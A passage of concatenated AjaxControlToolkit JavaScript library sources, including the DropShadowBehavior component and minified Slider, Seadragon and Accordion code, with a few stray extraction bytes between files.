    set_dropDownStyle: function(value) {

        if (this._dropDownStyle !== value) {
            this._dropDownStyle = value;
            this.raisePropertyChanged('dropDownStyle');
        }

    },
    get_dropDownStyle: function() {

        return this._dropDownStyle;

    },
    set_caseSensitive: function(value) {

        if (this._caseSensitive !== value) {
            this._caseSensitive = value;
            this.raisePropertyChanged('caseSensitive');
        }

    },
    get_caseSensitive: function() {

        return this._caseSensitive;

    },
    set_listItemHoverCssClass: function(value) {

        if (this._listItemHoverCssClass !== value) {
            this._listItemHoverCssClass = value;
            this.raisePropertyChanged('listItemHoverCssClass');
        }

    },
    get_listItemHoverCssClass: function() {

        return this._listItemHoverCssClass;

    }

}

AjaxControlToolkit.ComboBox.registerClass('AjaxControlToolkit.ComboBox', Sys.UI.Control);

//if (typeof (Sys) !== 'undefined') Sys.Application.notifyScriptLoaded();

5// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../RoundedCorners/RoundedCornersBehavior.js" />
/// <reference path="../Compat/Timer/Timer.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.DropShadowBehavior = function(element) {
    /// <summary>
    /// The DropShadowBehavior is used to attach a drop shadow to the element
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM Element the behavior is associated with
    /// </param>
    AjaxControlToolkit.DropShadowBehavior.initializeBase(this, [element]);

    // our property values
    this._opacity = 1.0;
    this._width = 5;

    // the div we create for the shadow.
    this._shadowDiv = null;

    // our timer for tracking position
    this._trackPosition = null;
    this._trackPositionDelay = 50;
    this._timer = null;
    this._tickHandler = null;
    this._roundedBehavior = null;
    this._shadowRoundedBehavior = null;

    this._rounded = false;
    this._radius = 5;

    // our cache of our last size and position for tracking
    this._lastX = null;
    this._lastY = null;
    this._lastW = null;
    this._lastH = null;
}
AjaxControlToolkit.DropShadowBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.DropShadowBehavior.callBaseMethod(this, 'initialize');
        
        var e = this.get_element();

        // flip the styles position to relative so that we z-order properly.
        if ($common.getCurrentStyle(e, 'position', e.style.position) != "absolute") {
            e.style.position = "relative";
        }

        // set up our initial state
        if (this._rounded) {
            this.setupRounded();
        }
        if (this._trackPosition) {
            this.startTimer();
        }
        this.setShadow();
    },

    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        this.stopTimer();
        this.disposeShadowDiv();
        AjaxControlToolkit.DropShadowBehavior.callBaseMethod(this, 'dispose');
    },

    buildShadowDiv : function() {
        /// <summary>
        /// Create the div that we'll use as the shadow
        /// </summary>
        
        var e = this.get_element();

        if (!this.get_isInitialized() || !e || !this._width) return;

        var div = document.createElement("DIV");
        div.style.backgroundColor = "black";
        div.style.position= "absolute";
                
        if (e.id) {
            div.id = e.id + "_DropShadow";
        }

        // initialize a control around it, and
        // set up the opacity behavior and rounding
        this._shadowDiv = div;

       e.parentNode.appendChild(div);

       if (this._rounded ) {
            this._shadowDiv.style.height = Math.max(0, e.offsetHeight - (2*this._radius)) + "px";
            if (!this._shadowRoundedBehavior) {
                this._shadowRoundedBehavior = $create(AjaxControlToolkit.RoundedCornersBehavior, {"Radius": this._radius}, null, null, this._shadowDiv);
            } else {
                this._shadowRoundedBehavior.set_Radius(this._radius);
            }
        } else if (this._shadowRoundedBehavior) {
            this._shadowRoundedBehavior.set_Radius(0);
        }

        if (this._opacity != 1.0) {
            this.setupOpacity();
        }

        this.setShadow(false, true);
        this.updateZIndex();
    },

    disposeShadowDiv : function() {
        /// <summary>
        /// Dispose of the div we use as the shadow
        /// </summary>

        if (this._shadowDiv) {
            // on page teardown (or in an update panel, this may already
            // be gone)
            //
            if (this._shadowDiv.parentNode) {
                this._shadowDiv.parentNode.removeChild(this._shadowDiv);
            }            
            this._shadowDiv = null;
        }
        
        if (this._shadowRoundedBehavior) {
            this._shadowRoundedBehavior.dispose();
            this._shadowRoundedBehavior = null;            
        }
    },

    onTimerTick : function() {
        /// <summary>
        /// Timer's tick handler that is used to position the shadow when its target moves
        /// </summary>
        this.setShadow();
    },

    startTimer : function() {
        /// <summary>
        /// Start the timer (and hence start tracking the bounds of the target element)
        /// </summary>

        if (!this._timer) {
            if (!this._tickHandler) {
                this._tickHandler = Function.createDelegate(this, this.onTimerTick);
            }
            this._timer = new Sys.Timer();
            this._timer.set_interval(this._trackPositionDelay);
            this._timer.add_tick(this._tickHandler);
            this._timer.set_enabled(true);
        }
    },

    stopTimer : function() {
        /// <summary>
        /// Stop the timer (and hence stop tracking the bounds of the target element)
        /// </summary>

        // on stop, just clean the thing up completely
        if (this._timer) {
            this._timer.remove_tick(this._tickHandler);
            this._timer.set_enabled(false);
            this._timer.dispose();
            this._timer = null;
        }
    },

    setShadow : function(force, norecurse) {
        /// <summary>
        /// This function does the heavy lifting of positioning and sizing the shadow.
        /// It caches values to avoid extra work - it's called on a timer so we need to
        /// keep it light weight.
        /// </summary>
        /// <param name="force" type="Boolean">
        /// Whether to force the bounds change
        /// </param>
        /// <param name="norecurse" type="Boolean">
        /// Whether to recurse if we need to recreate the shadow div
        /// </param>

        var e = this.get_element();
        if (!this.get_isInitialized() || !e || (!this._width && !force)) return;

        var existingShadow = this._shadowDiv;
        if (!existingShadow) {
            this.buildShadowDiv();
        }

        var location = { x: e.offsetLeft, y: e.offsetTop };
        
        if (force || this._lastX != location.x || this._lastY != location.y || !existingShadow) {
            this._lastX = location.x;
            this._lastY = location.y;

            var w = this.get_Width();
                        
            location.x += w;
            location.y += w;
            
            $common.setLocation(this._shadowDiv, location);
        }

        var h = e.offsetHeight;
        var w = e.offsetWidth;

        if (force || h != this._lastH || w != this._lastW || !existingShadow) {
            this._lastW = w;
            this._lastH = h;
            if (!this._rounded || !existingShadow || norecurse) {
               this._shadowDiv.style.width = w + "px";
               this._shadowDiv.style.height = h + "px";
            } else {
                // recurse if we need to redo the div
                this.disposeShadowDiv();
                this.setShadow();
            }
        }

        if (this._shadowDiv) {
            this._shadowDiv.style.visibility = $common.getCurrentStyle(e, 'visibility');
        }
    },

    setupOpacity : function() {
        /// <summary>
        /// Set the opacity of the shadow div
        /// </summary>
        if (this.get_isInitialized() && this._shadowDiv) {
            $common.setElementOpacity(this._shadowDiv, this._opacity);
        }
    },

    setupRounded : function() {
        /// <summary>
        /// Demand create and initialize the RoundedCornersBehavior
        /// </summary>
        
        if (!this._roundedBehavior && this._rounded) {
            this._roundedBehavior = $create(AjaxControlToolkit.RoundedCornersBehavior, null, null, null, this.get_element());            
        }
        if (this._roundedBehavior) {
            this._roundedBehavior.set_Radius(this._rounded ? this._radius : 0);
        }
    },

    updateZIndex : function() {
        /// <summary>
        /// Update the z-Index so the shadow div remains behind the target element
        /// </summary>

        if (!this._shadowDiv) return;
        
        var e = this.get_element();
        var targetZIndex = e.style.zIndex;
        var shadowZIndex = this._shadowDiv.style.zIndex;

        if (shadowZIndex && targetZIndex && targetZIndex > shadowZIndex) {
            return;
        } else {
           targetZIndex = Math.max(2, targetZIndex);
           shadowZIndex = targetZIndex - 1;
        }
        e.style.zIndex = targetZIndex;
        this._shadowDiv.style.zIndex = shadowZIndex;
    },

    updateRoundedCorners : function() {
        /// <summary>
        /// Update the RoundedCorndersBehavior and recreate the shadow div so its corners are rounded as well
        /// </summary>
        if (this.get_isInitialized()) {
            this.setupRounded();
            this.disposeShadowDiv();
            this.setShadow();
        }
    },

    get_Opacity : function() {
        /// <value type="Number">
        /// The opacity of the drop shadow, from 0 (fully transparent) to 1.0 (fully opaque). The default value is .5.
        /// </value>
        return this._opacity;
    },
    set_Opacity : function(value) {
        if (this._opacity != value) {
            this._opacity = value;
            this.setupOpacity();
            this.raisePropertyChanged('Opacity');
        }
    },

    get_Rounded : function() {
        /// <value type="Boolean">
        /// Whether or not the corners of the target and drop shadow should be rounded
        /// </value>
        return this._rounded;
    },
    set_Rounded : function(value) {
        if (value != this._rounded) {
            this._rounded = value;
            this.updateRoundedCorners();
            this.raisePropertyChanged('Rounded');
        }
    },

    get_Radius : function() {
        /// <value type="Number" integer="true">
        /// Radius, in pixels, of the rounded corners
        /// </value>
        return this._radius;
    },
    set_Radius : function(value) {
        if (value != this._radius) {
            this._radius = value;
            this.updateRoundedCorners();
            this.raisePropertyChanged('Radius');
        }
    },

    get_Width : function() {
        /// <value type="Number" integer="true">
        /// Width in pixels of the drop shadow.  The default value is 5 pixels.
        /// </value>
        return this._width;
    },
    set_Width : function(value) {
        if (value != this._width) {
            this._width = value;
            
            if (this._shadowDiv) {
                $common.setVisible(this._shadowDiv, value > 0);
            }
            
            this.setShadow(true);
            this.raisePropertyChanged('Width');
        }
    },

    get_TrackPositionDelay : function() {
        /// <value type="Number">
        /// Length of the timer interval used when tracking the position of the target
        /// </value>
        return this._trackPositionDelay;
    },
    set_TrackPositionDelay : function(value) {
        if (value != this._trackPositionDelay) {
            this._trackPositionDelay = value;
            if (this._trackPosition) {
                this.stopTimer();
                this.startTimer();
            }
            this.raisePropertyChanged('TrackPositionDelay');
        }
    },

    get_TrackPosition : function() {
        /// <value type="Boolean">
        /// Whether the drop shadow should track the position of the panel it is attached to. Use this if the panel is absolutely positioned or will otherwise move.
        /// </value>
        return this._trackPosition;
    },
    set_TrackPosition : function(value) {
        if (value != this._trackPosition) {
            this._trackPosition = value;
            if (this.get_element()) {
                if (value) {
                    this.startTimer();
                } else {
                    this.stopTimer();
                }
            }
            this.raisePropertyChanged('TrackPosition');
        }
    }
}
AjaxControlToolkit.DropShadowBehavior.registerClass('AjaxControlToolkit.DropShadowBehavior', AjaxControlToolkit.BehaviorBase);
//    getDescriptor : function() {
//        var td = AjaxControlToolkit.DropShadowBehavior.callBaseMethod(this, 'getDescriptor');
//        td.addProperty('Opacity', Number);
//        td.addProperty('Width', Number);
//        td.addProperty('TrackPosition', Boolean);
//        td.addProperty('TrackPositionDelay', Number);
//        td.addProperty('Rounded', Boolean);
//        td.addProperty('Radius', Number);
//        return td;
//    },
	Type.registerNamespace("AjaxControlToolkit.Seadragon");AjaxControlToolkit.Seadragon.Rect=function(e,f,d,c){var a="number",b=this;b.x=typeof e==a?e:0;b.y=typeof f==a?f:0;b.width=typeof d==a?d:0;b.height=typeof c==a?c:0};AjaxControlToolkit.Seadragon.Rect.prototype={getAspectRatio:function(){return this.width/this.height},getTopLeft:function(){return new AjaxControlToolkit.Seadragon.Point(this.x,this.y)},getBottomRight:function(){var a=this;return new AjaxControlToolkit.Seadragon.Point(a.x+a.width,a.y+a.height)},getCenter:function(){var a=this;return new AjaxControlToolkit.Seadragon.Point(a.x+a.width/2,a.y+a.height/2)},getSize:function(){return new AjaxControlToolkit.Seadragon.Point(this.width,this.height)},equals:function(a){var b=this;return a instanceof Seadragon.Rect&&b.x===a.x&&b.y===a.y&&b.width===a.width&&b.height===a.height},toString:function(){var a=this;return "["+a.x+","+a.y+","+a.width+"x"+a.height+"]"}};AjaxControlToolkit.Seadragon.Rect.registerClass("AjaxControlToolkit.Seadragon.Rect",null,Sys.IDisposable);dType.registerNamespace("AjaxControlToolkit.Seadragon");AjaxControlToolkit.Seadragon.DisplayRect=function(e,f,d,c,b,a){AjaxControlToolkit.Seadragon.DisplayRect.initializeBase(this,[e,f,d,c]);this.minLevel=b;this.maxLevel=a};AjaxControlToolkit.Seadragon.DisplayRect.registerClass("AjaxControlToolkit.Seadragon.DisplayRect",AjaxControlToolkit.Seadragon.Rect);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton=function(a){AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton.initializeBase(this,[a]);this._designPanel=null};AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton.prototype={};AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton.registerClass("AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton",AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton);[@Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit._SliderDragDropManagerInternal=function(){AjaxControlToolkit._SliderDragDropManagerInternal.initializeBase(this);this._instance=null};AjaxControlToolkit._SliderDragDropManagerInternal.prototype={_getInstance:function(){var a=this;a._instance=new AjaxControlToolkit.GenericDragDropManager;a._instance.initialize();a._instance.add_dragStart(Function.createDelegate(a,a._raiseDragStart));a._instance.add_dragStop(Function.createDelegate(a,a._raiseDragStop));return a._instance}};AjaxControlToolkit._SliderDragDropManagerInternal.registerClass("AjaxControlToolkit._SliderDragDropManagerInternal",AjaxControlToolkit._DragDropManager);AjaxControlToolkit.SliderDragDropManagerInternal=new AjaxControlToolkit._SliderDragDropManagerInternal;AjaxControlToolkit.SliderOrientation=function(){};AjaxControlToolkit.SliderOrientation.prototype={Horizontal:0,Vertical:1};AjaxControlToolkit.SliderOrientation.registerEnum("AjaxControlToolkit.SliderOrientation",false);AjaxControlToolkit.SliderBehavior=function(d){var c=false,b=null,a=this;AjaxControlToolkit.SliderBehavior.initializeBase(a,[d]);a._minimum=0;a._maximum=100;a._value=b;a._steps=0;a._decimals=0;a._orientation=AjaxControlToolkit.SliderOrientation.Horizontal;a._railElement=b;a._railCssClass=b;a._isHorizontal=true;a._isUpdatingInternal=c;a._isInitializedInternal=c;a._enableHandleAnimation=c;a._handle=b;a._handleImage=b;a._handleAnimation=b;a._handleAnimationDuration=.1;a._handleImageUrl=b;a._handleCssClass=b;a._dragHandle=b;a._mouseupHandler=b;a._selectstartHandler=b;a._boundControlChangeHandler=b;a._boundControlKeyPressHandler=b;a._boundControlID=b;a._boundControl=b;a._length=b;a._raiseChangeOnlyOnMouseUp=true;a._animationPending=c;a._selectstartPending=c;a._tooltipText="";a._enableKeyboard=true;a._keyDownHandler=b};AjaxControlToolkit.SliderBehavior.prototype={initialize:function(){AjaxControlToolkit.SliderBehavior.callBaseMethod(this,"initialize");this._initializeLayout()},dispose:function(){var a=this;a._disposeHandlers();a._disposeBoundControl();a._enableHandleAnimation&&a._handleAnimation&&a._handleAnimation.dispose();AjaxControlToolkit.SliderBehavior.callBaseMethod(a,"dispose")},_initializeLayout:function(){var a=this;a._railElement=document.createElement("DIV");a._railElement.id=a.get_id()+"_railElement";a._railElement.tabIndex=-1;a._railElement.innerHTML="<div></div>";a._handle=a._railElement.childNodes[0];a._handle.style.overflow="hidden";a._handle.style.position="absolute";if(Sys.Browser.agent==Sys.Browser.Opera){a._handle.style.left="0px";a._handle.style.top="0px"}var b=a.get_element(),f=$common.getBounds(b);b.parentNode.insertBefore(a._railElement,b);a._isHorizontal=a._orientation==AjaxControlToolkit.SliderOrientation.Horizontal;var e=a._isHorizontal?"ajax__slider_h_rail":"ajax__slider_v_rail",c=a._isHorizontal?"ajax__slider_h_handle":"ajax__slider_v_handle",d=a._isHorizontal?'<%= WebResource("AjaxControlToolkit.Slider.Images.slider_h_handle.gif") %>':'<%= WebResource("AjaxControlToolkit.Slider.Images.slider_v_handle.gif") %>';a._railElement.className=a._railCssClass?a._railCssClass:e;a._handle.className=a._handleCssClass?a._handleCssClass:c;if(!a._handleImageUrl)a._handleImageUrl=d;if(a._isHorizontal){if(a._length)a._railElement.style.width=a._length}else if(a._length)a._railElement.style.height=a._length;a._loadHandleImage();a._enforceTextBoxElementPositioning();a._hideTextBoxElement();a._initializeSlider()},_enforceTextBoxElementPositioning:function(){var b=this,a={position:b.get_element().style.position,top:b.get_element().style.top,right:b.get_element().style.right,bottom:b.get_element().style.bottom,left:b.get_element().style.left};if(a.position!="")b._railElement.style.position=a.position;if(a.top!="")b._railElement.style.top=a.top;if(a.right!="")b._railElement.style.right=a.right;if(a.bottom!="")b._railElement.style.bottom=a.bottom;if(a.left!="")b._railElement.style.left=a.left},_hideTextBoxElement:function(){var b="0px",a=this.get_element();a.readOnly=true;var c=b;if(Sys.Browser.agent==Sys.Browser.Safari)c="1px";a.style.width=c;a.style.height=c;a.style.border=b;a.style.padding=b;a.style.margin=b;a.style.fontSize="1px";a.style.lineHeight="1px";a.style.outline="0";a.style.position="absolute"},_loadHandleImage:function(){var a=this;a._handleImage=document.createElement("IMG");a._handleImage.id=a.get_id()+"_handleImage";a._handle.appendChild(a._handleImage);a._handleImage.src=a._handleImageUrl},_initializeSlider:function(){var a=this;a._initializeBoundControl();var b;try{b=parseFloat(a.get_element().value)}catch(c){b=Number.NaN}a.set_Value(b);a._setHandleOffset(a._value);a._initializeDragHandle();AjaxControlToolkit.SliderDragDropManagerInternal.registerDropTarget(a);a._initializeHandlers();a._initializeHandleAnimation();a._isInitializedInternal=true;a._raiseEvent("sliderInitialized")},_initializeBoundControl:function(){var a=this;if(a._boundControl){var b=a._boundControl.nodeName=="INPUT";if(b){a._boundControlChangeHandler=Function.createDelegate(a,a._onBoundControlChange);a._boundControlKeyPressHandler=Function.createDelegate(a,a._onBoundControlKeyPress);$addHandler(a._boundControl,"change",a._boundControlChangeHandler);$addHandler(a._boundControl,"keypress",a._boundControlKeyPressHandler)}}},_disposeBoundControl:function(){var a=this;if(a._boundControl){var b=a._boundControl.nodeName=="INPUT";if(b){$removeHandler(a._boundControl,"change",a._boundControlChangeHandler);$removeHandler(a._boundControl,"keypress",a._boundControlKeyPressHandler)}}},_onBoundControlChange:function(){this._animationPending=true;this._setValueFromBoundControl()},_onBoundControlKeyPress:function(a){if(a.charCode==13){this._animationPending=true;this._setValueFromBoundControl();a.preventDefault()}},_setValueFromBoundControl:function(){var a=this;a._isUpdatingInternal=true;a._boundControlID&&a._calcValue($get(a._boundControlID).value);a._isUpdatingInternal=false},_initializeHandleAnimation:function(){var a=this;if(a._steps>0){a._enableHandleAnimation=false;return}if(a._enableHandleAnimation)a._handleAnimation=new AjaxControlToolkit.Animation.LengthAnimation(a._handle,a._handleAnimationDuration,100,"style")},_ensureBinding:function(){var a=this;if(a._boundControl){var b=a._value;if(b>=a._minimum||b<=a._maximum){var c=a._boundControl.nodeName=="INPUT";if(c)a._boundControl.value=b;else if(a._boundControl)a._boundControl.innerHTML=b}}},_getBoundsInternal:function(c){var a=$common.getBounds(c);function d(){return a.width>0&&a.height>0}if(!d()){a.width=parseInt($common.getCurrentStyle(c,"width"));a.height=parseInt($common.getCurrentStyle(c,"height"));if(!d()){var b=c.cloneNode(true);b.visibility="hidden";document.body.appendChild(b);a.width=parseInt($common.getCurrentStyle(b,"width"));a.height=parseInt($common.getCurrentStyle(b,"height"));document.body.removeChild(b);if(!d())throw Error.argument("element size",AjaxControlToolkit.Resources.Slider_NoSizeProvided);}}if(this._orientation==AjaxControlToolkit.SliderOrientation.Vertical)a={x:a.y,y:a.x,height:a.width,width:a.height,right:a.right,bottom:a.bottom,location:{x:a.y,y:a.x},size:{width:a.height,height:a.width}};return a},_getRailBounds:function(){var a=this._getBoundsInternal(this._railElement);return a},_getHandleBounds:function(){return this._getBoundsInternal(this._handle)},_initializeDragHandle:function(){var a=this._dragHandle=document.createElement("DIV");a.style.position="absolute";a.style.width="1px";a.style.height="1px";a.style.overflow="hidden";a.style.zIndex="999";a.style.background="none";document.body.appendChild(this._dragHandle)},_resetDragHandle:function(){var a=$common.getBounds(this._handle);$common.setLocation(this._dragHandle,{x:a.x,y:a.y})},_initializeHandlers:function(){var a=this;a._selectstartHandler=Function.createDelegate(a,a._onSelectStart);a._mouseupHandler=Function.createDelegate(a,a._onMouseUp);a._keyDownHandler=Function.createDelegate(a,a._onKeyDown);$addHandler(document,"mouseup",a._mouseupHandler);$addHandler(a.get_element(),"keydown",a._keyDownHandler);$addHandlers(a._handle,{mousedown:a._onMouseDown,dragstart:a._IEDragDropHandler,drag:a._IEDragDropHandler,dragend:a._IEDragDropHandler},a);$addHandlers(a._railElement,{click:a._onRailClick},a)},_disposeHandlers:function(){var a=this;$clearHandlers(a._handle);$clearHandlers(a._railElement);$removeHandler(a.get_element(),"keydown",a._keyDownHandler);$removeHandler(document,"mouseup",a._mouseupHandler);a._keyDownHandler=null;a._mouseupHandler=null;a._selectstartHandler=null},startDragDrop:function(a){this._resetDragHandle();AjaxControlToolkit.SliderDragDropManagerInternal.startDragDrop(this,a,null)},_onMouseDown:function(b){var a=this;window._event=b;b.preventDefault();if(!AjaxControlToolkit.SliderBehavior.DropPending){AjaxControlToolkit.SliderBehavior.DropPending=a;$addHandler(document,"selectstart",a._selectstartHandler);a._selectstartPending=true;a.startDragDrop(a._dragHandle)}},_onMouseUp:function(a){var b=a.target;if(AjaxControlToolkit.SliderBehavior.DropPending==this){AjaxControlToolkit.SliderBehavior.DropPending=null;this._selectstartPending&&$removeHandler(document,"selectstart",this._selectstartHandler)}},_onKeyDown:function(b){if(this._enableKeyboard){var a=new Sys.UI.DomEvent(b);switch(a.keyCode||a.rawEvent.keyCode){case Sys.UI.Key.up:case Sys.UI.Key.left:this._handleSlide(true);a.preventDefault();return;case Sys.UI.Key.down:case Sys.UI.Key.right:this._handleSlide(false);a.preventDefault();return false;default:return false}}},_handleSlide:function(d){var a=this;a._animationPending=true;a._isUpdatingInternal=true;var c=a.get_Value(),b;if(a._steps>0){var e=a._maximum-a._minimum,f=(e/(a._steps-1)).toFixed(a._decimals);b=f}else b=a._decimals==0?1:1/Math.pow(10,a._decimals);if(d)b=0-b;a._calcValue(parseFloat(c)+parseFloat(b));a._isUpdatingInternal=false;a._fireTextBoxChangeEvent()},_onRailClick:function(a){if(a.target==this._railElement){this._animationPending=true;this._onRailClicked(a)}},_IEDragDropHandler:function(a){a.preventDefault()},_onSelectStart:function(a){a.preventDefault()},_calcValue:function(b,h){var a=this,c;if(b!=null){if(!Number.isInstanceOfType(b))try{b=parseFloat(b)}catch(l){b=Number.NaN}if(isNaN(b))b=a._minimum;c=b<a._minimum?a._minimum:b>a._maximum?a._maximum:b}else{var f=a._minimum,i=a._maximum,d=a._getHandleBounds(),e=a._getRailBounds(),g=h?h-d.width/2:d.x-e.x,k=e.width-d.width,j=g/k;c=g==0?f:g==e.width-d.width?i:f+j*(i-f)}if(a._steps>0)c=a._getNearestStepValue(c);c=c<a._minimum?a._minimum:c>a._maximum?a._maximum:c;a._isUpdatingInternal=true;a.set_Value(c);a._isUpdatingInternal=false;return c},_setHandleOffset:function(f,h){var a=this,d=a._minimum,g=a._maximum,b=a._getHandleBounds(),c=a._getRailBounds(),k=g-d,j=(f-d)/k,i=Math.round(j*(c.width-b.width)),e=f==d?0:f==g?c.width-b.width:i;if(h){a._handleAnimation.set_startValue(b.x-c.x);a._handleAnimation.set_endValue(e);a._handleAnimation.set_propertyKey(a._isHorizontal?"left":"top");a._handleAnimation.play();a._animationPending=false}else if(a._isHorizontal)a._handle.style.left=e+"px";else a._handle.style.top=e+"px"},_getNearestStepValue:function(b){var a=this;if(a._steps==0)return b;var c=a._maximum-a._minimum;if(c==0)return b;var d=c/(a._steps-1);return Math.round(b/d)*d},_onHandleReleased:function(){this._raiseChangeOnlyOnMouseUp&&this._fireTextBoxChangeEvent();this._raiseEvent("slideEnd")},_onRailClicked:function(e){var a=this,f=a._getHandleBounds(),g=a._getRailBounds(),b=a._isHorizontal?e.offsetX:e.offsetY,c=f.width/2,d=g.width-c;b=b<c?c:b>d?d:b;a._calcValue(null,b,true);a.get_element().focus();a._fireTextBoxChangeEvent()},_fireTextBoxChangeEvent:function(){if(document.createEvent){var a=document.createEvent("HTMLEvents");a.initEvent("change",true,false);this.get_element().dispatchEvent(a)}else document.createEventObject&&this.get_element().fireEvent("onchange")},get_dragDataType:function(){return "HTML"},getDragData:function(){return this._handle},get_dragMode:function(){return AjaxControlToolkit.DragMode.Move},onDragStart:function(){this.get_element().focus();this._resetDragHandle();this._raiseEvent("slideStart")},onDrag:function(){var a=this,c=a._getBoundsInternal(a._dragHandle),e=a._getHandleBounds(),d=a._getRailBounds(),b;if(a._isHorizontal)b={x:c.x-d.x,y:0};else b={y:c.x-d.x,x:0};$common.setLocation(a._handle,b);a._calcValue(null,null);a._steps>1&&a._setHandleOffset(a.get_Value(),false)},onDragEnd:function(){this._onHandleReleased()},get_dropTargetElement:function(){return document.body},canDrop:function(b,a){return a=="HTML"},drop:Function.emptyMethod,onDragEnterTarget:Function.emptyMethod,onDragLeaveTarget:Function.emptyMethod,onDragInTarget:Function.emptyMethod,add_sliderInitialized:function(a){this.get_events().addHandler("sliderInitialized",a)},remove_sliderInitialized:function(a){this.get_events().removeHandler("sliderInitialized",a)},add_valueChanged:function(a){this.get_events().addHandler("valueChanged",a)},remove_valueChanged:function(a){this.get_events().removeHandler("valueChanged",a)},add_slideStart:function(a){this.get_events().addHandler("slideStart",a)},remove_slideStart:function(a){this.get_events().removeHandler("slideStart",a)},add_slideEnd:function(a){this.get_events().addHandler("slideEnd",a)},remove_slideEnd:function(a){this.get_events().removeHandler("slideEnd",a)},_raiseEvent:function(c,a){var b=this.get_events().getHandler(c);if(b){if(!a)a=Sys.EventArgs.Empty;b(this,a)}},get_Value:function(){return this._value},set_Value:function(c){var a=this,d=a._value,b=c;if(!a._isUpdatingInternal)b=a._calcValue(c);a.get_element().value=a._value=b.toFixed(a._decimals);a._ensureBinding();if(!Number.isInstanceOfType(a._value))try{a._value=parseFloat(a._value)}catch(e){a._value=Number.NaN}if(a._tooltipText)a._handle.alt=a._handle.title=String.format(a._tooltipText,a._value);if(a._isInitializedInternal){a._setHandleOffset(b,a._enableHandleAnimation&&a._animationPending);if(a._isUpdatingInternal)!a._raiseChangeOnlyOnMouseUp&&a._fireTextBoxChangeEvent();a._value!=d&&a._raiseEvent("valueChanged")}},get_RailCssClass:function(){return this._railCssClass},set_RailCssClass:function(a){this._railCssClass=a},get_HandleImageUrl:function(){return this._handleImageUrl},set_HandleImageUrl:function(a){this._handleImageUrl=a},get_HandleCssClass:function(){return this._handleCssClass},set_HandleCssClass:function(a){this._handleCssClass=a},get_Minimum:function(){return this._minimum},set_Minimum:function(a){this._minimum=a},get_Maximum:function(){return this._maximum},set_Maximum:function(a){this._maximum=a},get_Orientation:function(){return this._orientation},set_Orientation:function(a){this._orientation=a},get_Steps:function(){return this._steps},set_Steps:function(b){var a=this;a._steps=Math.abs(b);a._steps=a._steps==1?2:a._steps},get_Decimals:function(){return this._decimals},set_Decimals:function(a){this._decimals=Math.abs(a)},get_EnableHandleAnimation:function(){return this._enableHandleAnimation},set_EnableHandleAnimation:function(a){this._enableHandleAnimation=a},get_HandleAnimationDuration:function(){return this._handleAnimationDuration},set_HandleAnimationDuration:function(a){this._handleAnimationDuration=a},get_BoundControlID:function(){return this._boundControlID},set_BoundControlID:function(b){var a=this;a._boundControlID=b;if(a._boundControlID)a._boundControl=$get(a._boundControlID);else a._boundControl=null},get_Length:function(){return this._length},set_Length:function(a){this._length=a+"px"},get_SliderInitialized:function(){return this._isInitializedInternal},get_RaiseChangeOnlyOnMouseUp:function(){return this._raiseChangeOnlyOnMouseUp},set_RaiseChangeOnlyOnMouseUp:function(a){this._raiseChangeOnlyOnMouseUp=a},get_TooltipText:function(){return this._tooltipText},set_TooltipText:function(a){this._tooltipText=a},get_enableKeyboard:function(){return this._enableKeyboard},set_enableKeyboard:function(a){if(a!==this._enableKeyboard){this._enableKeyboard=a;this.raisePropertyChanged("enableKeyboard")}},getClientState:function(){var a=AjaxControlToolkit.SliderBehavior.callBaseMethod(this,"get_ClientState");if(a=="")a=null;return a},setClientState:function(a){return AjaxControlToolkit.SliderBehavior.callBaseMethod(this,"set_ClientState",[a])}};AjaxControlToolkit.SliderBehavior.DropPending=null;AjaxControlToolkit.SliderBehavior.registerClass("AjaxControlToolkit.SliderBehavior",AjaxControlToolkit.BehaviorBase,AjaxControlToolkit.IDragSource,AjaxControlToolkit.IDropTarget);�3Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.AutoSize=function(){throw Error.invalidOperation();};AjaxControlToolkit.AutoSize.prototype={None:0,Fill:1,Limit:2};AjaxControlToolkit.AutoSize.registerEnum("AjaxControlToolkit.AutoSize",false);AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs=function(b,a){AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs.initializeBase(this);this._oldIndex=b;this._selectedIndex=a};AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs.prototype={get_oldIndex:function(){return this._oldIndex},set_oldIndex:function(a){this._oldIndex=a},get_selectedIndex:function(){return this._selectedIndex},set_selectedIndex:function(a){this._selectedIndex=a}};AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs.registerClass("AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs",Sys.CancelEventArgs);AjaxControlToolkit.AccordionBehavior=function(b){var a=this;AjaxControlToolkit.AccordionBehavior.initializeBase(a,[b]);a._selectedIndex=0;a._panes=[];a._fadeTransitions=false;a._duration=.25;a._framesPerSecond=30;a._autoSize=AjaxControlToolkit.AutoSize.None;a._requireOpenedPane=true;a._suppressHeaderPostbacks=false;a._headersSize=0;a._headerClickHandler=null;a._headerCssClass="";a._headerSelectedCssClass="";a._contentCssClass="";a._resizeHandler=null;a._isIE8InStandardMode=Sys.Browser.agent==Sys.Browser.InternetExplorer&&Sys.Browser.version>7&&Sys.Browser.documentMode!=0};AjaxControlToolkit.AccordionBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.AccordionBehavior.callBaseMethod(a,"initialize");a._headerClickHandler=Function.createDelegate(a,a._onHeaderClick);var d=a.get_ClientState();d!==null&&d!==""&&a._changeSelectedIndex(parseInt(d),false,true);var 